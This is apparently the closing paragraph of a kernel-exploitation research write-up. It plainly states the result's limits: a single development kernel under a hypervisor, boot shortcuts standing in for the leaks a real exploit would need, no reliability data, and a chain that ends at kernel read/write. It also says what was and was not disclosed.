What stands at the end is honest about its size. One development kernel for one desktop SoC, under a hypervisor, with boot shortcuts that handed the lab the task port and the kernel base a real exploit must win for itself. No reliability was measured, and the second harness’s run rests on the lab’s report alone, with no record behind it. No shipping iOS kernel was touched, the slide was bypassed rather than derived, cleanup was described and never exercised, and nothing here is a claim of code execution: the chain stops at kernel read and write. The disclosure stands as stated: the kernel source and the lab’s own harness are published, spray, corruption and pivot included, and the in-the-wild chain’s code is not.